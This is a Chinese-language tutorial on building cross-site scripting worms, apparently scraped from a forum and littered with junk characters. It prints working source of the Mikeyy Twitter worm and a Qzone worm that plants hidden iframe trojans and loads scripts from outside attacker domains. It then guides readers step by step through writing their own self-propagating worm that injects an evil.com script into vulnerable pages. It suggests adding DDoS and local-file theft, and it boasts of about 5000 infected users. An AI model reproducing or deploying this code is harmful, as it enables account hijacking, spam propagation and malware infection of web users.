3 G3 f; v1 S$ P/ _0 ^; q0 b: \3 v* p第一版:
6 J- ~7 t' N! Y% v5 {! p, T  下载 (5.1 KB)
4 t, y/ M2 g: S% C+ e, ~
2 h. i3 a! @% N; J& z1 h4 y6 天前 08:27
+ A; D# W( b, m+ A9 u% A
0 O+ S0 {+ f, t  a( ]+ `第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
( D3 R* B4 g4 I6 H6 Y2 h
   2.   

. Y5 h* a* `% ]7 m   3. function XHConn(){  

   4.   var _0x6687x2,_0x6687x3=false;  
- w9 j( ^0 W7 m9 G% I; ]3 h$ Z
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

4 b1 n. Y, l4 t; ^   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

9 i# k- V* }# `7 [   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
* z- b3 L! w4 I: \9 |  G+ v
   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
: ?5 ]) o) I9 E! d0 v' m
   2.   var content = document.documentElement.innerHTML;  

& Q9 }+ R# s& Z+ ?8 A; f   3.   var tmp_cookie=document.cookie;  
% K: x" Z2 }2 a" d& p# X, ]
' M2 g9 _, H3 q' K% W) ?( I6 M   4.   var tmp_posted=tmp_cookie.match(/posted/);  
& A5 q/ C. p: n0 W" `' A3 ~
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  
* k' [4 P# {8 e" x7 t$ o
   7.   var authtoken=authtoken[1];  
& o% C, z" ?0 N5 }
+ j/ n2 j- R) E( M# k   8.   var randomUpdate= new Array();  
/ ]* X  m" v2 s3 q/ W9 r
: A4 Q, H  P! }4 W$ c2 ^( y   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

& f( }0 S8 _6 g  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

; o1 ?6 u1 V! W: z  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  k7 x3 b8 Z7 W# x" j5 W  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
6 N9 t2 \$ e4 i0 V* y
0 \+ q7 z' y/ D* I5 y  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
7 D% w: Q# t( ~8 Z& ?1 u
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

6 x9 s# _5 [" V7 ?9 _& r  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
" i9 _4 d, t) O8 Q( w
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
& f. q; @* i- X! }; ]/ y
  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

% N, w: ~9 H- Q+ @  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

+ `* D+ Z# Y5 W5 }  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
: c- b$ _" x7 j: Z
3 k& q# l" j; F. `" |* F/ v  e7 A! m  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

0 c6 o( n0 N  U  e$ B  24.     

' E2 k7 U$ o! w2 _* \$ j  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
: _( u( K( e8 g: V4 t
  27.     
% O9 h8 {" X; e* K
( l% }1 m  n6 }3 r. e  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
% Y$ D- I2 p* k8 t
  30.   var _0xf81bx1c="Mikeyy";  
7 z+ \' ^5 O4 o: }
* f& Y6 H4 l& o% ?$ L  31.   var updateEncode=urlencode(_0xf81bx1c);  
4 T9 H. X3 [3 P8 D1 Q4 h: x. u
  32.   var ajaxConn1= new XHConn();  
4 B* F3 ^& n% A" C  N
# I: A! f# l$ w; _- L; n8 A6 i  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
5 H7 r) q: N( Z8 C  Q! b
: ]( k+ g5 E+ F0 ]9 S$ x" c5 I  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

" y- ~7 w: T; I; v! I  35.   var XSS=urlencode(genXSS);  
) Y5 j- `# u8 ]3 D5 Z
  36.   var ajaxConn2= new XHConn();  
: R6 \9 i5 x$ X1 g2 }
1 u& [3 F" v: {* h& \9 O, \2 u  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
3 r; |# j+ Z: \
  38.     
* ~6 k7 Z% Z9 W8 M* z# {2 [" |
  39. } ;  

( E+ O# u, y6 V7 S  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

$ U+ b/ n2 C1 Z0 {  ~window.onerror=killErrors;



" y/ H6 F2 L" X5 e: Pvar shendu;shendu=4;

  W7 c7 u1 u1 X" e( d//---------------global---v------------------------------------------

: E1 {3 b! ]+ F3 Z//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
9 @# ^) L7 c6 e5 D) J' ~! k$ c
! `/ s) Q8 Q( G0 Y$ j' |7 ^; Nvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
$ ^. \1 M' ]/ s8 @
9 N" V8 j; g  @8 e$ C0 Evar myblogurl=new Array();var myblogid=new Array();
) ^& b, r* g5 T* `) C/ O+ U/ N
        var gurl=document.location.href;
! n7 {- H% {3 V6 _6 F, O; W
2 i4 g! C' E% L1 Z/ b# N* h7 N        var gurle=gurl.indexOf("com/");

3 T# f( m% o' Q) A+ G0 j. H        gurl=gurl.substring(0,gurle+3);        
0 `9 @8 U; B) K0 ^
        var visitorID=top.document.documentElement.outerHTML;

1 i" K+ S: |6 h           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");
* {# I& Z/ b5 X9 k: t' v( I3 c
        visitorID=visitorID.substring(0,cookieS);
, E  x' u& F/ b8 f) O& d
3 ]) m- k  n- m' m        get_my_blog(visitorID);

        DOshuamy();
2 M. i& ?* n9 C* ~0 E
" d+ v" j6 Z, Y4 D( T9 F

//挂马

function DOshuamy(){
) W' c3 b% ^. c/ ^
( W  F6 n) q( `2 Z& I2 ?var ssr=document.getElementById("veryTitle");

: {4 e0 t, m  p' tssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
4 ?: v7 i+ V6 T' W: a: f: Q
}



1 _/ y7 @; x. c6 b/ a//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
! F' U' b( p: T$ `2 Q* |* @5 b2 r7 @
function get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

; M, U1 x5 _9 K8 F! @& m2 b5 t   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

" |1 r5 H' Y9 \, x& u   if(xhr){    //成功就执行下面的
9 E. ?1 p) v  D& v; _1 y1 v/ F
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

: n1 N; Y( j' d* j+ L# q     xhr.send();guest=xhr.responseText;
) N5 s$ n& E; Z3 Q
( A2 V  l& k* H     get_my_blogurl(guest);    //执行这个函数
9 W9 V) L5 v2 @* q
    }
5 T+ J5 U! M* P8 R+ Z+ I
}


5 A* V- V7 ?, J; N6 Y; D8 [
//这里似乎是判断没有登录的
' o, n) X! g0 X7 C! r3 r0 _9 V# x& W
/ F/ g# |5 \/ a* s# lfunction get_my_blogurl(guest){
% e$ z  d6 n4 K
4 b, C3 @' |* D2 W0 d  var mybloglist=guest;
* g2 }- ^, b& r, N
  var myurls;var blogids;var blogide;
: y4 G, G1 R8 M4 m+ ^5 c) e
  for(i=0;i<shendu;i++){

/ N1 o0 B' b- _" z6 l" Z0 x     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
) O& r+ i6 W, d
; H9 U7 l! H; M( m6 H     if(myurls!=-1){    //找到了就执行下面的
/ ~7 F+ f" T  Z6 R  x/ e
3 p+ a, v! |" g8 |! L7 k& ?& w9 q         mybloglist=mybloglist.substring(myurls+11);
6 j5 |% G1 e' g$ Y" I7 O
         myurls=mybloglist.indexOf(')');

: {$ R+ n8 `' R: {  r) z, W         myblogid=mybloglist.substring(0,myurls);
2 W3 a0 _2 U5 N6 G+ ]& o
7 M* s! \% o0 U& P        }else{break;}
' B) G5 ^7 z  p2 @# P
" A) m- v& \' r) |; v5 P$ V}
3 X4 C( k) G* K' u! U9 `) B% V. s  R
get_my_testself();    //执行这个函数

}

3 n3 M" _  N: o9 h0 W
- w! ^, z. H0 l( n' M6 J
5 L9 _* V& ]1 v  p( J- u& S//这里往哪跳就不知道了

) B- B9 H5 \1 z) v9 o* X1 xfunction get_my_testself(){
* y5 i% A' C3 e/ m3 a
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
7 ]: a; g) Q( K; {) ^3 @
3 }0 v4 K: a5 \) d* q      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();
6 J+ \' B" t6 D) v
              guest2=xhr2.responseText;

              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
0 c/ m% a! }" z2 N; X( s
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
* m2 c+ R; W  Y0 Y3 Y
  M$ d# M/ D8 E3 ^! J  k+ O) F              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
; r: c# m# H* w) p- ]' p: L# g
7 t1 _! Y: D  \* I( K9 X! h: G                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
! b" f8 n5 y$ m5 f& \7 Z
/ W' p, A4 c2 f1 s- J$ i                break;
( a: Y5 O8 D6 `3 d% i5 a, m& @
               }

              if(mycheckit=="-1"){

4 F! `% j* w/ H0 p                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它
! q0 ~8 V- w% l8 C, W
0 c! h, T7 @3 t9 h* T                break;
7 r- x1 v+ U/ }1 W/ j' o- _$ Y9 `
8 U8 b- T/ L: C               }
9 O9 O: d& m; t/ i: s) ?3 H
        }      
5 N' o6 {$ F  V# H$ N1 `, j
* A2 Z" J& p0 P8 B  R}

}


0 M, y$ c7 f/ h- a* L( [% n7 v
//--------------------------------------  
7 Z! h( Y( a. b; h, k+ {
" u& S4 a6 }5 B* x//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){
6 a, N" \& y0 ]. K6 f/ o
    var XMLhttpObject=null;  
1 H' f! y5 o& g& i# Q
- [; r1 B9 q8 u4 V* \. x+ g/ [    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
  q6 s: ~- \9 D, M9 Y2 a  T1 Z3 M+ \
; B, {  w' d# |6 n' z  m- a0 t5 V    else  
# k% C) Z$ T6 ~% z
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  

" v9 p" N3 q( ], n; \) C' ^        {  
9 X  z3 D# G3 D0 H5 D
& W7 o* k3 ^7 ~- T- l            try  
  ~& Y9 g& K$ C7 W
            {  
5 s* U. `# D+ O; m
4 ~( c/ q' \, z" A                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  

  P; e& X5 w- h2 d5 P, V2 p            }  
: [) \9 T8 u3 T' @- B' H
            catch (ex) {  
9 G) u2 L! a- K2 h% ?1 w- N* p
2 C/ F4 x1 m# Z            }  
' R' m2 ~3 w* v$ G* x* I1 W
         }  

# G" @- N( U9 _$ D  D      }
, L/ M& _# L. h4 v
6 V! q, i7 b+ E7 sreturn XMLhttpObject;

}  


3 [7 M0 M4 x/ P1 ]. s) [: |7 a
+ }# p5 x5 E  j  {% {8 h//这里就是感染部分了

# X0 d- Y, A/ r  Ffunction add_js(visitorID,targetblogurlid,gurl){
8 F) d: H9 o  _6 p" q6 `4 Q
var s2=document.createElement('script');
4 I* m! ?" `. e4 T8 }3 Z4 I5 p4 C
) V7 }1 _0 Z% u- h) Q4 ]* Gs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
4 n3 I' g9 `1 R: a
s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
- ?$ ~+ g8 r. o1 M( F* f- t/ ]/ _# Q2 v
}
; N2 y; ]" q2 j1 I8 P( m1 k

: v* L% ?% [" n
( l0 G4 o, O* g2 \5 E' a6 V( vfunction add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

9 ]$ Z0 i  l# K; O# Q3 hs2.type='text/javascript';

* Z4 E: q- p; h, \document.getElementsByTagName('head').item(0).appendChild(s2);
$ X5 n; Z) o, Y
}
9 b1 D1 h. W( a! Z) K复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
% d  f" W- _7 M2 j3 q2 G; b
6 t  D. B( L+ _1 ?8 ^2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
6 D4 N1 G, |) o  b

下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
9 B3 v) _6 b( e. B+ q, `
首先,自然是判断不同浏览器,创建不同的对象var request = false;
: {. ?1 D- y2 Z7 a
if(window.XMLHttpRequest) {
& S5 V. X* V0 h9 V4 ]/ b
request = new XMLHttpRequest();

$ c3 W8 O% I! eif(request.overrideMimeType) {

& c8 ?: n  b( v2 D% @request.overrideMimeType('text/xml');

}

. S! l7 I  |" d, k} else if(window.ActiveXObject) {
# M9 a! M: E% {! k
. z; |! y5 x7 {& G! i0 `var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

- W2 v5 M1 D8 c& [9 Y8 }, C) zfor(var i=0; i<versions.length; i++) {
, Q5 E/ o6 ?% g8 s
try {

request = new ActiveXObject(versions);

} catch(e) {}
1 I/ R/ I+ }- X) Q  R% _/ V
}
! N' A8 B# ~  k
}

xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
8 m/ L! R7 Q7 F: y0 u8 j% x
& t0 v3 u# W. V8 R7 I9 K        var Browser_Name=navigator.appName;

+ i$ E) W0 X$ u$ o        var Browser_Version=parseFloat(navigator.appVersion);

2 W% _: [  H& D: n, \        var Browser_Agent=navigator.userAgent;
+ z  @+ e; D4 F* B1 x* ^3 i
        
6 |& j9 w6 g) P5 b0 a2 D+ r& w, U+ m
& a5 ?) t* W! w! x& B, q" j        var Actual_Version,Actual_Name;
& I" j3 }0 B; ]6 N" D/ n! V$ L
2 b9 s% J% H: d- W, c: L        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
! ~3 p' M; p/ a; Y& T4 P6 d9 r
        var is_NN=(Browser_Name=="Netscape");

, ]$ E$ P; j# E3 u        var is_Ch=(Browser_Name=="Chrome");
0 c$ {% a* m1 @) ?# Y  g
, Q/ Z6 A" \6 U# g" S        

        if(is_NN){

0 j( d2 |  W+ ?$ l            if(Browser_Version>=5.0){

' }$ J- n$ B- U1 O+ s5 P$ d                var Split_Sign=Browser_Agent.lastIndexOf("/");
3 i) u5 |, V. G; t, W
; h# D' V7 J* I  @# g) t                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

2 L- c7 M3 ]# l- }

                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

% M, m& a; S! ~( `* l                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
& U8 [( ~6 [7 ]2 x3 W5 C
            }
! M1 x4 j) C$ Q8 P( e1 u. H
0 T3 i, a# \& S# S- n2 r0 O( G            else{

8 n) T. V: z& O( z; T                Actual_Version=Browser_Version;

% D' M0 U5 i3 }                Actual_Name=Browser_Name;

            }
/ D" p7 f* M* P# L
        }
4 T0 `, _4 {6 U2 K$ y& f
        else if(is_IE){

1 {! A+ g8 B$ q& I* U            var Version_Start=Browser_Agent.indexOf("MSIE");
. Q$ l6 C( L( f( ]! T/ o% H
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

+ ~. {: q6 _4 V  J; K+ [% R$ ~            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
6 ?# r, K3 ]( |/ V! O( O  d
1 d2 K! G" @: m# G# L            Actual_Name=Browser_Name;
8 P! V# Y% {$ p" j
% A2 R  I, V. a% r            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

6 Z) W* ~+ c7 k                Actual_Name+="(Maxthon)";

            }
0 K  t$ g' e( b
            else if(Browser_Agent.indexOf("Opera")!=-1){
+ |' B  A$ B/ H. `% L  q
                Actual_Name="Opera";
8 V8 z% q) b& r" P+ M
                var tempstart=Browser_Agent.indexOf("Opera");
0 \2 @& G% P, p2 d
5 V  w9 j8 a0 ?4 T4 Y                var tempend=Browser_Agent.length;

4 y. O0 z& _5 M& S                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
( [- o$ W/ w" r
            }

5 N+ h+ Y6 |; H7 \        }
9 k3 p+ ?4 d( b
        else if(is_Ch){
- m8 O$ A! g3 t
  B$ `4 s' W) o2 _, z            var Version_Start=Browser_Agent.indexOf("Chrome");
2 W6 l1 C. {% d0 Z5 `' R  C  C+ a
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
3 h, r* i% P- B, _. y6 Q- j* O
/ a, y% j0 j* e9 h. O            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

* |& G, x! T; K7 o+ d            
0 N, g! E. M/ g& D
4 j; y& H6 g5 U' F% p8 z8 }8 w            if(Browser_Agent.indexOf("Maxthon")!=-1){
* ?& _* ]1 h$ N, I' x: Z7 Y
6 ?+ ]. h* |/ ~0 O7 c                Actual_Name+="(Maxthon)";
( q8 |; h& n/ _3 o' N
            }

6 K$ [& F. f9 h  v0 R2 V$ _& r            else if(Browser_Agent.indexOf("Opera")!=-1){
8 o4 h' M" n! A
0 g& x, g5 F3 _% z5 R/ {7 I  J' C                Actual_Name="Opera";

3 k4 q8 E; _# V( g* c  u' `5 ^/ O                var tempstart=Browser_Agent.indexOf("Opera");

$ q: M' A0 u$ Q' q, P                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

5 Y" Q2 @6 W, _( b" h; C            }
4 G! o0 P4 [. @! [5 [
        }
% d' Q% @4 _( D
        else{

; ^5 R% P) J0 L" [            Actual_Name="Unknown Navigator"

8 o& _4 M9 P! p; l, Y/ l4 @2 I            Actual_Version="Unknown Version"

        }
- L* @) }' v) e, J! B' f
/ {0 D' S- N% p+ B  z2 k

- i8 H) ?" {5 B4 ?$ H4 }        navigator.Actual_Name=Actual_Name;

% G, P& G4 q3 _3 B& d, `- n        navigator.Actual_Version=Actual_Version;
3 ~5 @9 X  r+ h( x2 @3 O5 y2 u
        

, B  X/ t, O% E5 h  q; |4 ]" A        this.Name=Actual_Name;

: Q6 |2 @6 A0 j" }  Z        this.Version=Actual_Version;

    }

# U7 A7 O0 G. Q* |    browserinfo();
  c" n1 }5 Z: X) o+ e) P  |
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
6 X8 M8 r  o6 \" n$ l
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
: t2 _$ T  M  Y: h: z
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
# F4 N7 q- P1 v6 g复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

8 B! K4 j8 |5 ^+ v0 F* t. YxmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;

8 h/ x. A5 T. Lvar id=0;var result;
6 @5 Q# M* R8 O) e! ]( ^
' Z2 V0 e3 F9 [& o! i' R" Qvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
8 @! z" J0 [, J; K$ }
' Z, s3 V5 ]$ S$ _while ((result = patt.exec(resource)) != null)  {
# k& I, v1 Q% A
* H" F& U9 F1 k, l9 Q# Yid++;
# \- g6 s7 g( x+ B+ t. ?  f  H
7 Q- h' B0 A+ b3 I# D$ N}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);

- Y; ~5 x3 t. _  q& ^5 K* nvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
9 N% H- ?% S5 c# w# s
var post="wd="+wd;

xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
$ @; |( X" e  ^5 n; i
, Q/ Z0 r/ K2 L- GxmlHttpReq.setRequestHeader("content-length",post.length);
, [+ `/ q9 l1 B# P8 c
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
+ R2 e- o5 Y. o, j
xmlHttpReq.send(post);
+ w3 ?/ O- t% g3 y# j8 s7 ?2 _
}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

+ X( \: _) d+ G# `9 Y+ Ovar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
5 |) _$ B4 v( o
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

# }! |, I, i$ @1 ?2 ivar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
" G& T+ ?% f) e: K- c
var post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

% Q( S2 [! E  n: `2 m( [! L6 C7 |* [xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);
/ |: M0 V+ d1 r* A8 P& F
/ m1 B, a7 l; T6 \xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

7 A& h" K3 G( I+ e" D& P" n! TxmlHttpReq.send(post);                 //把传播的信息 POST出去.
) `( K$ ?% I0 Y2 {; ^# B. q1 K) p
}
+ X- e4 M/ W! K! \# r  y6 p  Y复制代码-----------------------------------------------------总结-------------------------------------------------------------------

  r. s% M+ D% R! Y3 D
/ H% Y! P4 j! ]# t7 j
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
4 v& e) z. {" h9 v+ X* q9 i操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.






- W9 [" C/ m$ d/ w7 N- N$ v
. q) j/ i: Q0 o; Q+ k, ^
- G$ m, y: a% P# [* k本文引用文档资料:

# _8 p5 h! ?, s2 ]9 n  y: j"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
1 p8 A  |/ V4 b# o; ]0 E7 xOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
% S2 d7 C0 I0 W4 Z9 @http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
0 B' h: O+ E1 ?空虚浪子心BLOG http://www.inbreak.net
: H& v1 Z* K. z1 jXeye Team http://xeye.us/